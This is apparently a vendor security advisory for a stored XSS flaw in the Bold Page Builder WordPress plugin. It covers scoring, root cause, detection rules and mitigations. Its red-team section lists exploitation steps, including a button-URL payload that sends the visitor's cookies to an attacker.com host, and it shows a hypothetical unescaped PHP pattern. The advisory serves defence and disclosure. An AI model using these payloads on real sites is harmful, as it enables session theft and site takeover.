CVE-2024-1157

Executive Summary

CVE-2024-1157 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 4.8.0. The flaw resides in insufficient input sanitization and output escaping of the plugin's button URL parameter. An authenticated attacker with contributor-level privileges or higher can inject arbitrary web scripts that execute when any user visits a compromised page. This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx server configurations.

The CVSS v3.1 score is 5.4 (Medium), with a vector emphasizing low attack complexity, network access, and required privileges. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a persistent risk for unhardened WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No open-source patch data or GitHub advisory is available. The plugin's supply chain is unverified, and users must rely on the vendor (Bold) for updates. No known package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level or above
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication but allows persistent script injection, enabling session hijacking, defacement, or phishing within the WordPress context.

Deep Dive & Mechanics

The Bold Page Builder plugin allows users to create custom page layouts with various elements, including buttons. The button URL field is intended to accept a hyperlink. However, due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript code into the URL parameter.

Root Cause: The plugin fails to properly validate and escape the href attribute of the button element. When the page is rendered, the injected script is executed in the context of the victim's browser.

Attack Flow:

1. An authenticated attacker with contributor-level access creates or edits a page using the Bold Page Builder.
2. The attacker inserts a button element and sets its URL to a malicious payload, e.g., javascript:alert(document.cookie) or a crafted data: URI.
3. The plugin stores the payload without proper sanitization.
4. When any user (including administrators) visits the page, the script executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Impact: Stored XSS can lead to privilege escalation (if an admin visits), data theft, and site defacement. The vulnerability is persistent and affects all visitors.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be in the button rendering function. A typical vulnerable pattern in PHP:

// Vulnerable code (hypothetical)
$button_url = $_POST['button_url'];
echo '<a href="' . $button_url . '">Click</a>';

A patched version would use proper escaping:

// Patched code (hypothetical)
$button_url = esc_url($_POST['button_url']);
echo '<a href="' . esc_url($button_url) . '">Click</a>';

The esc_url() function in WordPress strips dangerous schemes like javascript: and encodes special characters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Bold Page Builder <= 4.8.0
• Contributor-level account credentials

Exploitation Steps:

1. Log in as a contributor.
2. Create a new page or edit an existing one.
3. Add a button element via the Bold Page Builder.
4. Set the button URL to a malicious payload, e.g.:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

5. Save/publish the page.
6. Wait for an administrator or other user to visit the page.
7. The injected script executes, exfiltrating data.

Example Payload (URL-encoded):

javascript:alert('XSS')

Blue Team

Detection:

• Monitor for unusual button URL patterns in page content.
• Look for javascript: or data: schemes in stored page data.
• Use WAF rules to block known XSS payloads.

Hunting:

• Query the WordPress database for posts containing javascript: in post_content.
• Check for recent page edits by contributor-level users.

Mitigation:

• Disable the Bold Page Builder plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict contributor permissions to trusted users only.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified page content in wp_posts table containing javascript: or data: URIs.
  • Plugin files with missing esc_url() calls (e.g., bold-page-builder/button.php).

• Network Indicators:

  • Outbound connections to attacker-controlled domains from WordPress admin pages.
  • HTTP requests containing javascript: in the href parameter.

• Log Indicators:

  • WordPress audit logs showing page edits by contributor users with suspicious URL patterns.
  • Web server logs with javascript: in the request body.

Detection Engineering

YARA Rule

rule CVE_2024_1157_Bold_Page_Builder_XSS {
    meta:
        description = "Detects stored XSS payloads in Bold Page Builder button URLs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1157"
    strings:
        $payload1 = /href=["']javascript:/i
        $payload2 = /href=["']data:/i
        $payload3 = /onclick=["']/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1157 Bold Page Builder Stored XSS
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects stored XSS attempts via button URL in Bold Page Builder
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'bold-page-builder'
        cs-request-body|contains: 
            - 'javascript:'
            - 'data:'
    condition: selection
falsepositives:
    - Legitimate use of data URIs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1157 Bold Page Builder Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"bold-page-builder"; http_uri; content:"javascript:"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and sanitize existing pages created with Bold Page Builder for malicious content.
3. Restrict contributor permissions to only trusted users.

Long-term Fix:

• Apply vendor patch when available (currently UNKNOWN).
• Implement input validation and output escaping using WordPress functions like esc_url() and wp_kses().

Workarounds:

• Use a Web Application Firewall (WAF) to block javascript: and data: URIs in POST requests.
• Add a Content Security Policy (CSP) header: default-src 'self'; script-src 'self'.

Monitoring:

• Continuously monitor for new page edits by low-privilege users.
• Enable WordPress audit logging.

Valters IT